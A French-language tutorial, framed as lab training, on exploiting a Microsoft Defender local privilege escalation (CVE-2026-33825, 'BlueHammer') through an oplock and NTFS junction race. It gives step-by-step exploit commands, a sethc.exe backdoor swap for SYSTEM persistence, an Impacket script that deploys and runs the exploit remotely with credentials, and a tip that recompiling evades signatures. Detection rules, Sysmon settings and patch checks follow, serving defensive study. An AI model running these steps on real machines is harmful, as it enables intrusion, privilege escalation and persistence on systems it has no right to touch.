Cette formation montre comment simuler une escalade de privilèges locale (LPE) dans un environnement de laboratoire contrôlé, afin de comprendre les mécanismes de défense Windows et de renforcer la sécurité des postes clients.
Nous recommandons vivement de tester uniquement sur des machines virtuelles isolées (VMware, Hyper‑V, VirtualBox) dotées de snapshots.
TOCTOU + NTFS Junction + Oplock : Comment un utilisateur standard peut passer SYSTEM en abusant du moteur de remédiation Defender (Windows 10 & 11 – 2026)
Le PoC BlueHammer a été publié publiquement le 7 avril 2026 par un chercheur sous le pseudonyme « Chaotic Eclipse / Nightmare Eclipse », en signe de protestation contre la lenteur du processus de correction de Microsoft. Microsoft a intégré le correctif dans le Patch Tuesday d'avril sous CVE-2026-33825 (score CVSS 7.8 – HIGH).
Microsoft a officiellement crédité les chercheurs Zen Dodd et Yuanpei XU pour la découverte initiale, tandis que le PoC public provient d'un tiers. L'incident a relancé le débat sur la divulgation responsable et la rapidité des cycles de correction.
Ce diagramme illustre la condition de concurrence (TOCTOU) exploitée par BlueHammer. L'absence de re‑vérification du chemin après la pause induite par l'oplock est la clé de l'attaque.
Point clé : Defender vérifie le chemin avant d'ouvrir le fichier, mais écrit après sans re‑vérification suffisante. La redirection est possible grâce à la manipulation conjointe de l'oplock et de la junction.
Microsoft Defender (service MsMpEng.exe) s'exécute avec les privilèges NT AUTHORITY\SYSTEM. Lorsqu'il détecte un fichier malveillant, il planifie une action de remédiation (quarantaine, suppression, réparation). Cette action est effectuée par le même processus SYSTEM, sans ré‑évaluation du chemin d'accès cible après l'ouverture du handle initial.
Étapes détaillées :
C:\Users\Public\Test).C:\Windows\System32 (ou un autre répertoire protégé).Opportunistic Lock (Oplock) : mécanisme du protocole SMB / NTFS permettant à un client de verrouiller un fichier pour améliorer les performances. Un processus peut demander un oplock et être notifié lorsqu'une autre application tente d'accéder au fichier. Dans BlueHammer, on utilise un oplock pour geler le traitement de Defender juste au bon moment, créant une fenêtre de race condition exploitable.
NTFS Junction Point : similaire à un lien symbolique, mais fonctionnant au niveau du système de fichiers. Il permet de rediriger l'accès d'un répertoire vers un autre emplacement sur le même volume. La création de junctions ne nécessite que des droits d'écriture dans le répertoire parent, ce qui est à la portée d'un utilisateur standard.
Créez un dossier de travail, par exemple C:\lab\bluehammer. Assurez-vous que le Controlled Folder Access est désactivé ou que le dossier est exclu pour éviter toute interférence.
mkdir C:\lab\bluehammer
cd C:\lab\bluehammer
# Vérifier l'état de Defender
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AMProductVersion, AMEngineVersion
Récupérez l'archive BlueHammer depuis le dépôt de recherche (uniquement accessible en environnement de test). Extrayez dans C:\lab\bluehammer. L'archive contient :
BlueHammer.exe – l'exploit compilé (x64)EICAR_test.txt – fichier de test inoffensif (signature EICAR)run_poc.bat – script de lancement optionnelSource/ – code source pour révisionPour que Defender intervienne, il faut placer un échantillon détectable. Le PoC utilise généralement le fichier EICAR ou une signature spécifique. Créez le fichier de test :
# Création du fichier de test EICAR (totalement inoffensif, standard de l'industrie)
echo X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\lab\bluehammer\malware.txt
Ouvrez une invite de commandes sans privilèges :
cd C:\lab\bluehammer
BlueHammer.exe --target C:\lab\bluehammer\malware.txt --junction C:\Windows\System32\ --payload whoami.exe
L'exploit va :
Dans une autre fenêtre PowerShell (admin), vous pouvez surveiller la création de la junction :
# Vérifier les junctions dans C:\lab\bluehammer
cmd /c dir /aL C:\lab\bluehammer
# Surveiller les handles ouverts par MsMpEng.exe (avec Sysinternals Handle)
handle.exe -a -p MsMpEng.exe | findstr /i malware
Après exécution réussie, vous devriez obtenir une fenêtre cmd.exe avec les droits SYSTEM. Vérifiez avec :
whoami /user
# Devrait afficher : nt authority\system
Après les tests, supprimez la junction et redémarrez le service Defender si nécessaire :
# Supprimer la junction
rmdir C:\lab\bluehammer
# Redémarrer le service Defender (PowerShell admin)
Restart-Service -Name WinDefend
# Vérifier que Real-Time Protection est toujours actif
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled
Au lieu de simplement exécuter une commande, l'attaquant peut remplacer un binaire légitime (utilman.exe, sethc.exe, ou un service vulnérable) pour obtenir une persistance SYSTEM.
# Exemple : remplacement de sethc.exe (Sticky Keys) pour ouvrir un shell SYSTEM au démarrage
BlueHammer.exe --target C:\lab\malware.txt --junction C:\Windows\System32\ --payload C:\lab\backdoor.exe --rename sethc.exe
BlueHammer nécessite que Defender soit actif. Si Real‑Time Protection est désactivée, on peut tenter de la réactiver via une autre LPE (ex: CVE‑2021‑1647) ou en modifiant la base de registre si des droits d'administrateur sont déjà partiellement obtenus.
La technique peut être étendue en utilisant des liens symboliques natifs NT (\\RPC Control) pour rediriger des opérations vers des périphériques ou des pipes nommés, mais cela dépasse le cadre de ce tutoriel.
Le même chercheur a publié deux autres outils exploitant des faiblesses de Microsoft Defender :
| Outil | Type | Description | Statut (avril 2026) |
|---|---|---|---|
| RedSun | LPE | Autre escalade de privilèges via Defender, utilisant une race condition différente. | Non patché sur certaines plateformes |
| UnDefend | DoS / Désactivation | Bloque les mises à jour de signatures Defender en empêchant l'écriture dans le dossier de définitions. | Fonctionne toujours |
Ces outils montrent que la surface d'attaque de Defender reste vaste et que le durcissement ne doit pas se limiter au seul patch de BlueHammer.
Dans un test d'intrusion, l'attaquant peut avoir un accès initial à un poste Windows en tant qu'utilisateur standard (via phishing, RDP, etc.) et souhaite élever ses privilèges. Voici comment il utiliserait BlueHammer depuis une machine Kali Linux pour automatiser l'exploitation.
labuser (standard), mot de passe Passw0rd!Sur Kali, compilez ou récupérez BlueHammer.exe. Créez un script Python pour automatiser le déploiement :
#!/usr/bin/env python3
# bluehammer_deploy.py – Déploiement automatisé depuis Kali
# Usage : python3 bluehammer_deploy.py 192.168.1.50 labuser Passw0rd!
import sys, os
from impacket.smbconnection import SMBConnection
from impacket.examples.service import smbexec
target_ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
# 1. Copier BlueHammer.exe et le fichier EICAR sur la cible via SMB
smb = SMBConnection(target_ip, target_ip)
smb.login(username, password)
print("[+] Connexion SMB réussie")
# Créer le dossier C:\lab sur la cible
smbexec_cmd = f"cmd.exe /c mkdir C:\\lab"
# ... (code smbexec simplifié)
# Transfert des fichiers
with open("BlueHammer.exe", "rb") as f:
smb.putFile("C$", "\\lab\\BlueHammer.exe", f.read())
with open("eicar.txt", "rb") as f:
smb.putFile("C$", "\\lab\\eicar.txt", f.read())
print("[+] Fichiers copiés")
# 2. Exécuter BlueHammer sur la cible
print("[*] Lancement de l'exploit...")
os.system(f"impacket-wmiexec {username}:{password}@{target_ip} 'C:\\lab\\BlueHammer.exe --target C:\\lab\\eicar.txt --junction C:\\Windows\\System32\\ --payload whoami.exe'")
print("[!] Vérifiez si un shell SYSTEM est apparu sur la cible.")
Ce script est une illustration pédagogique. Dans un vrai pentest, l'attaquant utiliserait des outils comme psexec.py ou wmiexec.py de la suite Impacket pour exécuter la commande à distance.
# Installer impacket si nécessaire
sudo apt install python3-impacket
# Lancer un serveur SMB simple
impacket-smbserver -smb2support share .
net use Z: \\192.168.1.100\share /user:kali kali
copy Z:\BlueHammer.exe C:\lab\
copy Z:\eicar.txt C:\lab\
Une fois SYSTEM obtenu, l'attaquant peut :
mimikatz)Ce scénario illustre pourquoi une LPE locale peut être un maillon critique dans une chaîne d'attaque complète.
| Event ID | Source | Description |
|---|---|---|
| 1116 | Microsoft-Windows-Windows Defender/Operational | Détection de malware (notez le chemin du fichier et le processus). |
| 1117 | Microsoft-Windows-Windows Defender/Operational | Action de remédiation effectuée. |
| 4663 | Security | Accès à un objet du système de fichiers (surveiller les écritures dans System32 par MsMpEng.exe). |
| 4656 | Security | Handle demandé sur un objet (oplock peut générer des événements). |
title: Potential BlueHammer Exploitation (CVE-2026-33825)
id: 33825-bluehammer
status: experimental
description: Détecte la création d'une junction point suivie d'une écriture par MsMpEng.exe dans un répertoire système.
logsource:
product: windows
service: security
detection:
selection_junction:
EventID: 4663
ObjectType: "Junction"
selection_write:
EventID: 4663
ProcessName: "MsMpEng.exe"
ObjectName|contains: "\\Windows\\System32\\"
timeframe: 5s
condition: selection_junction | near selection_write
falsepositives: Aucun connu en environnement normal.
level: critical
Ajoutez ces événements dans votre configuration Sysmon :
<Sysmon>
<EventFiltering>
<RuleGroup name="Detect Junction Creation" groupRelation="or">
<FileCreateStreamHash onmatch="include">
<TargetFilename condition="end with">:Junction</TargetFilename>
</FileCreateStreamHash>
</RuleGroup>
<RuleGroup name="Defender writing to System32" groupRelation="and">
<Image condition="image">MsMpEng.exe</Image>
<TargetFilename condition="begin with">C:\Windows\System32\</TargetFilename>
</RuleGroup>
</EventFiltering>
</Sysmon>
Activez les règles suivantes pour limiter les risques même en cas de faille non patchée :
Le correctif d'avril 2026 (Platform 4.18.26030.3011) corrige la race condition spécifique de BlueHammer. Cependant, le pattern d'attaque (interaction entre Defender et le système de fichiers) reste une surface intéressante pour de futures recherches.
MsMpEng.exe.# Via PowerShell (recommandé)
Get-MpComputerStatus | Select-Object AMProductVersion, AMEngineVersion, AMServiceEnabled
# Ou via MpCmdRun.exe
cd "C:\Program Files\Microsoft Defender"
.\MpCmdRun.exe -GetPlatformVersion
Vous êtes vulnérable si la Platform Version est ≤ 4.18.26020.6.
Le PoC utilise :
1. Compiler ou télécharger BlueHammer.exe (lab seulement)
2. Exécuter en tant qu'utilisateur standard
3. Le PoC place le fichier → Defender réagit → oplock + junction
4. Résultat : obtention d'un shell SYSTEM (souvent via un service redémarré)
Microsoft a corrigé la vulnérabilité dans la Defender Antimalware Platform version 4.18.26030.3011 (avril 2026).
# Mise à jour manuelle via Windows Security
Windows Security → Virus & threat protection → Protection updates → Check for updates
# Ou via PowerShell (admin)
Update-MpSignature
# Vérifier après mise à jour
Get-MpComputerStatus | Select AMProductVersion
Les systèmes avec mises à jour automatiques sont normalement déjà protégés.
Oui, c’est fréquent. L’exploitation nécessite que Defender soit actif et effectue réellement une remédiation sur le fichier contrôlé.
Oui, publiés par le même chercheur. RedSun est une autre LPE, UnDefend est un DoS sur les mises à jour Defender.
Microsoft a corrigé la faille spécifique. Cependant, des variantes basées sur le même principe (interaction Defender + filesystem) pourraient réapparaître.
Microsoft a ajouté des signatures pour le binaire original. Une simple recompilation avec des modifications mineures (changement de chaînes, de GUID, etc.) peut temporairement contourner la détection. C'est une autre raison pour laquelle le durcissement comportemental (ASR, HVCI) est crucial.
La CVE-2026-33825 (BlueHammer) illustre parfaitement comment un composant de sécurité peut devenir un vecteur d’attaque puissant lorsqu’il manque de contrôle d’accès granulaire.
Mettez à jour votre Defender Platform dès que possible et testez toujours en environnement isolé.